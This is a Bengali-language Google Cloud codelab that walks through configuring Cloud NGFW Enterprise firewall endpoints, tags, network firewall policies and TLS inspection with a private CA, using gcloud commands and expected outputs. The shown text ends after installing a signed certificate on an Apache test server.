Cloud NGFW Enterprise বিষয়ক কোডল্যাব [TLS Inspection-সহ]

১. ভূমিকা

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall হল একটি সম্পূর্ণ ডিস্ট্রিবিউটেড ফায়ারওয়াল পরিষেবা, যার মধ্যে উন্নত সুরক্ষা ক্ষমতা, মাইক্রো-সেগমেন্টেশন এবং আপনার Google Cloud ওয়ার্কলোডকে অভ্যন্তরীণ ও বাহ্যিক আক্রমণ থেকে রক্ষা করার জন্য সর্বব্যাপী কভারেজ রয়েছে।

Cloud NGFW-এর নিম্নলিখিত সুবিধা আছে:

  • ডিস্ট্রিবিউটেড ফায়ারওয়াল পরিষেবা: Cloud NGFW প্রতিটি ওয়ার্কলোডে স্টেটফুল, সম্পূর্ণ ডিস্ট্রিবিউটেড হোস্ট-বেসড এনফোর্সমেন্ট প্রদান করে যাতে জিরো-ট্রাস্ট নিরাপত্তা আর্কিটেকচার চালু করা যায়।
  • সহজ কনফিগারেশন ও ডেপ্লয়মেন্ট: Cloud NGFW নেটওয়ার্ক ও হায়ারার্কিক্যাল ফায়ারওয়াল নীতি প্রয়োগ করে যা রিসোর্স হায়ারার্কি নোডের সাথে অ্যাটাচ করা যায়। এইসব নীতি Google Cloud রিসোর্স হায়ারার্কি জুড়ে একটি সামঞ্জস্যপূর্ণ ফায়ারওয়াল অভিজ্ঞতা প্রদান করে।
  • গ্র্যানুলার কন্ট্রোল ও মাইক্রো-সেগমেন্টেশন: ফায়ারওয়াল নীতি ও Identity and Access Management (IAM)-পরিচালিত ট্যাগ, ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্ক ও সংস্থা জুড়ে, নর্থ-সাউথ ও ইস্ট-ওয়েস্ট ট্রাফিক, এমনকি একটি VM-এর ক্ষেত্রেও, সূক্ষ্ম কন্ট্রোল প্রদান করে।

Cloud NGFW নিম্নলিখিত টিয়ারে উপলভ্য:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise, ইন্ট্রুশন প্রিভেনশন সার্ভিস (IPS) এবং ঐচ্ছিক উন্নত ম্যালওয়্যার স্যান্ডবক্স (WildFire) ক্ষমতা যোগ করে, যা ডিস্ট্রিবিউটেড Google Cloud Firewall ফ্যাব্রিকে লেয়ার ৭ ইন্সপেকশন পরিষেবা। TLS এনক্রিপ্ট করা ট্রাফিকের জন্য গভীর পরিদর্শন এবং ফাইল বিশ্লেষণ করার অনুমতি দিতে TLS পরিদর্শন সমর্থিত।

আপনি এখন আপনার নেটওয়ার্ক আর্কিটেকচার বা রাউটিং কনফিগারেশনে কোনও পরিবর্তন না করেই, গ্রানুলার কন্ট্রোল সহ নির্ভরযোগ্য লেয়ার ৭ নেক্সট জেনারেশন ফায়ারওয়াল (NGFW) ইন্সপেকশন ডিপ্লয় করতে পারবেন।

IPS এবং ঐচ্ছিক উন্নত ম্যালওয়্যার স্যান্ডবক্স সহ লেয়ার 7 ফায়ারওয়াল কন্ট্রোল অ্যাক্টিভেট এবং ডিপ্লয় করতে, আপনাকে নিম্নলিখিত কাজগুলি করতে হবে:

  • Google Cloud-এর মাধ্যমে ম্যানেজ করা জোনাল ফায়ারওয়াল এন্ডপয়েন্টের একটি সেট তৈরি করুন (বিকল্প হিসেবে উন্নত ম্যালওয়্যার স্যান্ডবক্স চালু করা)।
  • বিকল্প হিসেবে, TLS ইন্সপেকশন নীতি তৈরি করুন।
  • বিকল্প হিসেবে, একটি ট্রাস্ট কনফিগারেশন তৈরি করুন।
  • যেসব ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্কে আপনার Cloud NGFW Enterprise পরিষেবা প্রয়োজন, সেগুলির সাথে এইসব এন্ডপয়েন্ট অ্যাসোসিয়েট করুন।
  • বিভিন্ন ট্রাফিক পাথের জন্য থ্রেট প্রিভেনশন এবং ঐচ্ছিক উন্নত ম্যালওয়্যার স্যান্ডবক্স নিরাপত্তা প্রোফাইল নির্দিষ্ট করতে আপনার বিদ্যমান ফায়ারওয়াল নীতি এবং ফায়ারওয়াল নিয়মে সহজ পরিবর্তন করুন।

নেটওয়ার্ক ফায়ারওয়াল সংক্রান্ত নীতি

নেটওয়ার্ক ফায়ারওয়াল নীতি, ফায়ারওয়াল সংক্রান্ত নিয়মের কন্টেনার হিসেবে কাজ করে। নেটওয়ার্ক ফায়ারওয়াল নীতিতে উল্লেখ করা নিয়ম কোনও VPC নেটওয়ার্কের সাথে যুক্ত না করা পর্যন্ত কোথাও প্রয়োগ করা হয় না। প্রতিটি VPC নেটওয়ার্কের সাথে একটি নেটওয়ার্ক ফায়ারওয়াল নীতি যুক্ত থাকতে পারে। নেটওয়ার্ক ফায়ারওয়াল নীতি ফায়ারওয়াল নিয়মে IAM-পরিচালিত ট্যাগ (বা শুধু ট্যাগ) সমর্থন করে, যা বর্তমান নেটওয়ার্ক ট্যাগকে প্রতিস্থাপন করে এবং ওয়ার্কলোডকে পরিচয় প্রদান করতে ব্যবহার করা যেতে পারে।

নেটওয়ার্ক জুড়ে নেটওয়ার্ক ফায়ারওয়াল নীতি শেয়ার করা এবং IAM-পরিচালিত ট্যাগের সাথে ইন্টিগ্রেশন ফায়ারওয়ালের কনফিগারেশন ও ম্যানেজমেন্টকে অনেক সহজ করে তোলে।

নেটওয়ার্ক ফায়ারওয়াল নীতি চালু হওয়ার সাথে সাথে, Google Cloud-এর ফায়ারওয়াল নীতিতে এখন নিম্নলিখিত কম্পোনেন্ট রয়েছে:

  1. হায়ারার্কিক্যাল ফায়ারওয়াল নীতি
  2. VPC ফায়ারওয়াল সংক্রান্ত নিয়ম
  3. নেটওয়ার্ক ফায়ারওয়াল নীতি ( গ্লোবাল এবং আঞ্চলিক)

রিসোর্স হায়ারার্কির মধ্যে থাকা সংস্থা এবং ফোল্ডার নোডে হায়ারার্কিক্যাল ফায়ারওয়াল নীতি কাজ করে, যেখানে VPC ফায়ারওয়াল নিয়ম এবং নেটওয়ার্ক ফায়ারওয়াল নীতি VPC লেভেলে প্রয়োগ করা হয়। VPC ফায়ারওয়াল নিয়ম ও নেটওয়ার্ক ফায়ারওয়াল নীতির মধ্যে একটি বড় পার্থক্য হল, VPC ফায়ারওয়াল নিয়ম শুধুমাত্র একটি VPC নেটওয়ার্কে প্রয়োগ করা যায়, যেখানে নেটওয়ার্ক ফায়ারওয়াল নীতি একটি VPC বা VPC-এর গ্রুপে অ্যাটাচ করা যায়, এর সাথে ব্যাচ আপডেটের মতো অন্যান্য সুবিধাও পাওয়া যায়।

এছাড়াও, প্রতিটি VPC নেটওয়ার্কের সাথে ইমপ্লায়েড ফায়ারওয়াল নিয়ম থাকে:

  • একটি ইগ্রেস নিয়ম যার অ্যাকশন হল অনুমতি দেওয়া, গন্তব্য হল 0.0.0.0/0
  • একটি ইনগ্রেস রুল যার অ্যাকশন হল প্রত্যাখ্যান করা, সোর্স হল 0.0.0.0/0

ডিফল্ট হিসেবে, এনফোর্সমেন্ট সিকোয়েন্স নিম্নলিখিত ডায়াগ্রামে দেখানো হয়েছে:

21b3bcabc469ffe.png

মনে রাখবেন, VPC ফায়ারওয়াল নিয়ম ও গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতির মধ্যে এনফোর্সমেন্ট অর্ডার অদলবদল করা যেতে পারে। গ্রাহকরা যেকোনও সময় gcloud কমান্ড ব্যবহার করে এনফোর্সমেন্ট অর্ডার নির্দিষ্ট করতে পারেন।

ট্যাগ

নতুন নেটওয়ার্ক ফায়ারওয়াল নীতি সংক্রান্ত নিয়মে ইন্টিগ্রেট করা ট্যাগ হল Google Cloud রিসোর্স ক্রমের সংস্থা বা প্রোজেক্ট-লেভেলে সংজ্ঞায়িত কী-ভ্যালু পেয়ার রিসোর্স। এই ধরনের ট্যাগে IAM অ্যাক্সেস কন্ট্রোল থাকে যা ট্যাগে কে কী করতে পারে তা নির্দিষ্ট করে। উদাহরণস্বরূপ, পরিচয় ও অ্যাক্সেস ম্যানেজমেন্ট (IAM) অনুমতি, কোন প্রিন্সিপাল ট্যাগে ভ্যালু অ্যাসাইন করতে পারবে এবং কোন প্রিন্সিপাল রিসোর্সে ট্যাগ অ্যাটাচ করতে পারবে তা নির্দিষ্ট করার অনুমতি দেয়। কোনও নেটওয়ার্ক ফায়ারওয়াল নিয়ম যদি কোনও ট্যাগকে রেফারেন্স করে, তাহলে এনফোর্সমেন্টের জন্য এটি অবশ্যই কোনও রিসোর্সে প্রয়োগ করতে হবে।

ট্যাগ Google Cloud-এর ইনহেরিটেন্স রিসোর্স মডেল মেনে চলে, যার অর্থ হল ট্যাগ এবং তাদের ভ্যালু তাদের পেরেন্ট থেকে হায়ারার্কি জুড়ে পাস করা হয়। এর ফলে, এক জায়গায় ট্যাগ তৈরি করে রিসোর্স হায়ারার্কি জুড়ে অন্যান্য ফোল্ডার ও প্রোজেক্টে ব্যবহার করা যেতে পারে। ট্যাগ ও অ্যাক্সেস সংক্রান্ত বিধিনিষেধের ব্যাপারে বিস্তারিত জানতে এই পৃষ্ঠা দেখুন।

ট্যাগকে নেটওয়ার্ক ট্যাগ হিসেবে ভুল করবেন না। পরেরটি হল স্ট্রিং যা Compute Engine ইনস্ট্যান্সে যোগ করা যেতে পারে; এগুলি ইনস্ট্যান্সের সাথে যুক্ত এবং ইনস্ট্যান্সটি ডিকমিশন করা হলে অদৃশ্য হয়ে যায়। VPC ফায়ারওয়াল নিয়মে নেটওয়ার্ক ট্যাগ অন্তর্ভুক্ত থাকতে পারে, তবে যেহেতু এগুলিকে ক্লাউড রিসোর্স হিসেবে বিবেচনা করা হয় না, তাই এগুলি IAM অ্যাক্সেস কন্ট্রোলের আওতাভুক্ত নয়।

মনে রাখবেন যে এই ডকুমেন্টে ট্যাগ এবং IAM-পরিচালিত ট্যাগ একে অপরের পরিবর্তে ব্যবহার করা হচ্ছে।

আপনি কী তৈরি করবেন

এই কোডল্যাবের জন্য একটি প্রোজেক্ট এবং VPC নেটওয়ার্ক তৈরি করার পাশাপাশি নেটওয়ার্ক ও নিরাপত্তা রিসোর্স ম্যানেজ করার ক্ষমতা প্রয়োজন। এটি দেখাবে যে কীভাবে Cloud NGFW Enterprise নিম্নলিখিত উপায়ে IPS এবং উন্নত ম্যালওয়্যার স্যান্ডবক্স (WildFire) কার্যকারিতা প্রদান করতে পারে:

  • TLS ইন্সপেকশনের মাধ্যমে নর্থবাউন্ড ইন্টারনেট ফ্লো ইন্সপেক্ট করা
  • TLS ইন্সপেকশন সহ ইন্ট্রা-VPC ফ্লো [পূর্ব-পশ্চিম] ইন্সপেক্ট করা
  • [ঐচ্ছিক] TLS-ইনস্পেক্ট করা ট্রাফিকের মাধ্যমে অজানা ফাইল-ভিত্তিক থ্রেটের জন্য উন্নত ম্যালওয়্যার স্যান্ডবক্স ফাইল জমা দেওয়া এবং ফরেনসিক কনফিগার ও যাচাই করা

যেসব ফ্লো পরীক্ষা করা হবে সেগুলি ৫-টুপল (সোর্স IP, ডেস্টিনেশন IP, প্রোটোকল, সোর্স পোর্ট, ডেস্টিনেশন পোর্ট) এবং ট্যাগ সহ ক্লাউড ফায়ারওয়াল ম্যাচিং প্যারামিটার ব্যবহার করে বেছে নেওয়া হবে।

3d0f288d3b92a295.png

নেটওয়ার্ক ফায়ারওয়াল নীতি রুলবেসের শেষ অবস্থা নিচের টেবিলের মতো হবে:

অগ্রাধিকার

দিকনির্দেশ

Target

Source

গন্তব্য

অ্যাকশন

Type

100

ইনগ্রেস

Server_Tag

হেল্থ-চেক

যেকোনও

অনুমতি দিন

Essentials

200

ইনগ্রেস

Client_Tag, Server_Tag

IAP

যেকোনও

অনুমতি দিন

Essentials

৮০০

ইনগ্রেস

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 Inspection

এন্টারপ্রাইজ

850

ইগ্রেস

Client_Tag

যেকোনও

10.0.0.0/24

অনুমতি দিন

Essentials

৯০০

ইগ্রেস

Client_Tag

যেকোনও

যেকোনও

L7 Inspection

এন্টারপ্রাইজ

আপনি কী শিখবেন

  • কীভাবে নেটওয়ার্ক ফায়ারওয়াল নীতি তৈরি করতে হয়।
  • নেটওয়ার্ক ফায়ারওয়াল নীতির সাথে ট্যাগ কীভাবে তৈরি ও ব্যবহার করতে হয়।
  • TLS Inspection-সহ Cloud NGFW Enterprise কীভাবে কনফিগার ও ব্যবহার করতে হয়।
  • [ঐচ্ছিক] অজানা ফাইল-ভিত্তিক বিপদের জন্য কীভাবে উন্নত ম্যালওয়্যার স্যান্ডবক্স (WildFire) কনফিগার এবং যাচাই করবেন।

আপনার যা প্রয়োজন হবে

  • Google Cloud প্রোজেক্ট।
  • ইনস্ট্যান্স ডিপ্লয় করা এবং নেটওয়ার্কিং কম্পোনেন্ট কনফিগার করার জ্ঞান।
  • VPC ফায়ারওয়াল কনফিগারেশন সংক্রান্ত জ্ঞান।

২. শুরু করার আগে

ভেরিয়েবেল তৈরি/আপডেট করা

এই কোডল্যাব ক্লাউড Shell-এ gcloud কনফিগারেশন ইমপ্লিমেন্টেশনে সাহায্য করার জন্য $variables ব্যবহার করে।

Cloud Shell-এ, প্রয়োজন অনুযায়ী ব্র্যাকেটের মধ্যে থাকা তথ্য পরিবর্তন করে নিচের কমান্ড রান করুন:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

৩. API চালু করুন

আপনি API চালু না করে থাকলে, তা করুন:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

৪. Cloud NGFW Enterprise এন্ডপয়েন্ট তৈরি করা

Cloud NGFW Enterprise এন্ডপয়েন্ট তৈরি করতে প্রায় ২০ মিনিট সময় লাগে, তাই এটি প্রথমে তৈরি করা হবে এবং এন্ডপয়েন্ট তৈরি করার সময় সমান্তরালভাবে বেস সেট-আপ করা যাবে।

নিরাপত্তা প্রোফাইল এবং নিরাপত্তা প্রোফাইল গ্রুপ তৈরি করুন:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

প্রত্যাশিত আউটপুট:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

রিসোর্সগুলি সফলভাবে তৈরি হয়েছে কিনা তা নিশ্চিত করুন:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

প্রত্যাশিত আউটপুট (মনে রাখবেন যে ব্যবহৃত ক্লায়েন্ট অনুযায়ী আউটপুট ফর্ম্যাট পরিবর্তিত হতে পারে:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Cloud NGFW Enterprise এন্ডপয়েন্ট তৈরি করুন:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

এন্ডপয়েন্ট তৈরি করা হচ্ছে (তৈরি করা হচ্ছে) অথবা --no-async ব্যবহার করলে অ্যাক্টিভ আছে কিনা তা কনফার্ম করতে নিচের কমান্ড রান করুন।

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (মনে রাখবেন যে ব্যবহৃত ক্লায়েন্ট অনুযায়ী আউটপুট ফর্ম্যাট পরিবর্তিত হতে পারে):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

আপনি চাইলে, আরও বিবরণ পেতে নিচের কমান্ড রান করুন:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

তৈরি করার প্রসেস সম্পূর্ণ হতে প্রায় ২০ মিনিট সময় লাগে। প্রয়োজনীয় রিসোর্স সমান্তরালভাবে তৈরি করতে, বেস সেট-আপ বিভাগে যান।

৫. বেস সেট-আপ

VPC নেটওয়ার্ক ও সাবনেট

VPC নেটওয়ার্ক ও সাবনেট

VPC নেটওয়ার্ক ও সাবনেট তৈরি করুন:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Cloud Router ও Cloud NAT গেটওয়ে তৈরি করুন:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

ইনস্ট্যান্সেস

ক্লায়েন্ট ও ওয়েব-সার্ভার ইনস্ট্যান্স তৈরি করুন:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

প্রোজেক্ট-লেভেল ট্যাগ

প্রয়োজন হলে ব্যবহারকারীকে tagAdmin অনুমতি অ্যাসাইন করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

প্রোজেক্ট-লেভেল ট্যাগ কী ও ভ্যালু তৈরি করুন:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

ইনস্ট্যান্সে ট্যাগ বাইন্ড করুন:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতি

গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতি তৈরি করুন:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

স্বাস্থ্য-পরীক্ষা এবং পরিচয়-সচেতন প্রক্সি রেঞ্জ থেকে ট্রাফিকের অনুমতি দিতে প্রয়োজনীয় Cloud Firewall Essential নিয়ম তৈরি করুন:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

নির্দিষ্ট রেঞ্জ থেকে ইনগ্রেস ইস্ট-ওয়েস্ট / ইন্ট্রা-সাবনেট ট্রাফিককে অনুমতি দিতে প্রয়োজনীয় Cloud Firewall নিয়ম তৈরি করুন (Cloud NGFW Enterprise w/ TLS inspection চালু করতে এই নিয়মগুলি আপডেট করা হবে):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

VPC নেটওয়ার্কে ক্লাউড ফায়ারওয়াল নীতি অ্যাসোসিয়েট করুন:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

৬. ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট অ্যাসোসিয়েশন

আপনি যদি এখনও এনভায়রনমেন্ট ভেরিয়েবেল নির্ধারণ না করে থাকেন এবং/অথবা স্ক্রিপ্ট অ্যাপ্রোচ পছন্দ করেন, তাহলে তা নির্ধারণ করুন।

Cloud Firewall এন্ডপয়েন্ট তৈরি করার প্রসেস সম্পূর্ণ হয়েছে কিনা তা কনফার্ম করুন। স্ট্যাটাস অ্যাক্টিভ হিসেবে দেখানো হলে তবেই এগিয়ে যান (তৈরি করার সময় প্রত্যাশিত স্ট্যাটাস হল তৈরি করা হচ্ছে):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (মনে রাখবেন যে ব্যবহৃত ক্লায়েন্ট অনুযায়ী আউটপুট ফর্ম্যাট পরিবর্তিত হতে পারে):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

আপনি চাইলে, আরও বিবরণ পেতে নিচের কমান্ড রান করুন:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

VPC নেটওয়ার্কে Cloud Firewall এন্ডপয়েন্ট অ্যাসোসিয়েট করুন:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

অ্যাকাউন্ট যুক্ত করার প্রসেস সম্পূর্ণ হতে প্রায় ১০ মিনিট সময় লাগে। স্ট্যাটাস অ্যাক্টিভ হিসেবে দেখানো হলে তবেই TLS বিভাগে যান (তৈরি করার সময় প্রত্যাশিত স্ট্যাটাস হল তৈরি করা হচ্ছে):

gcloud network-security firewall-endpoint-associations list

সম্পূর্ণ হলে প্রত্যাশিত আউটপুট:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

আপনি চাইলে, আরও বিবরণ পেতে নিচের কমান্ড রান করুন:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

৭. TLS রিসোর্স কনফিগার করুন

CA পুল তৈরি করুন। NGFW Enterprise-এর জন্য আমরা যে রুট CA সার্টিফিকেট তৈরি করি তা এই রিসোর্সে থাকবে।

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

রুট CA তৈরি করুন। এটি হল CA সার্টিফিকেট যা NGFW Enterprise-এর মাধ্যমে অনুরোধের জন্য অতিরিক্ত সার্টিফিকেট সাইন করার জন্য ব্যবহার করা হবে।

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

আপনাকে নিচে দেওয়া মেসেজ প্রম্পট করা হলে, y উত্তর দিন:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

পরিষেবার অ্যাকাউন্ট তৈরি করা। NGFW Enterprise-এর জন্য সার্টিফিকেট অনুরোধ করতে এই পরিষেবা অ্যাকাউন্ট ব্যবহার করা হবে:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

পরিষেবা অ্যাকাউন্টের জন্য IAM অনুমতি সেট করুন:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS নীতি YAML ফাইল তৈরি করুন। এই ফাইলে নির্দিষ্ট রিসোর্স সম্পর্কে তথ্য থাকবে:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS ইন্সপেকশন নীতি ইমপোর্ট করুন:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

TLS চালু করতে এন্ডপয়েন্ট অ্যাসোসিয়েশন আপডেট করুন:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA সার্টিফিকেট পান এবং ক্লায়েন্টের CA স্টোরে যোগ করুন:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

ক্লায়েন্টে CA সার্টিফিকেট ট্রান্সফার করুন:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

VM-এ SSH, CA সার্টিফিকেট /usr/local/share/ca-certificates-এ সরান এবং CA স্টোর আপডেট করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

বেরিয়ে এসে cloudshell-এ ফিরে যান।

সার্ভার সার্টিফিকেট সাইন করার প্রসেস:

cloudshell-এ, pip কমান্ড ব্যবহার করে Pyca ক্রিপটোগ্রাফি লাইব্রেরি ইনস্টল করুন:

pip install --user "cryptography>=2.2.0"

Google Cloud SDK-কে Pyca ক্রিপটোগ্রাফি লাইব্রেরি ব্যবহার করার অনুমতি দিতে, আপনাকে অবশ্যই সাইট প্যাকেজ চালু করতে হবে।

export CLOUDSDK_PYTHON_SITEPACKAGES=1

সার্ভার সার্টিফিকেট তৈরি করুন:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

এর ফলে cloudshell-এ cert.pem এবং key.pem ফাইল তৈরি হবে। এরপর, সার্ভারে সার্টিফিকেট ও 'কী' ট্রান্সফার করুন।

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Apache-এর জন্য সার্টিফিকেটের বিবরণ আপডেট করতে সার্ভারে SSH করুন:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

সার্টিফিকেট ও 'কী' নির্দিষ্ট ফোল্ডারে সরান:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

স্বাক্ষরিত সার্টিফিকেট ব্যবহার করতে ssl কনফিগারেশন আপডেট করুন:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Apache রিস্টার্ট করুন:

sudo systemctl restart apache2

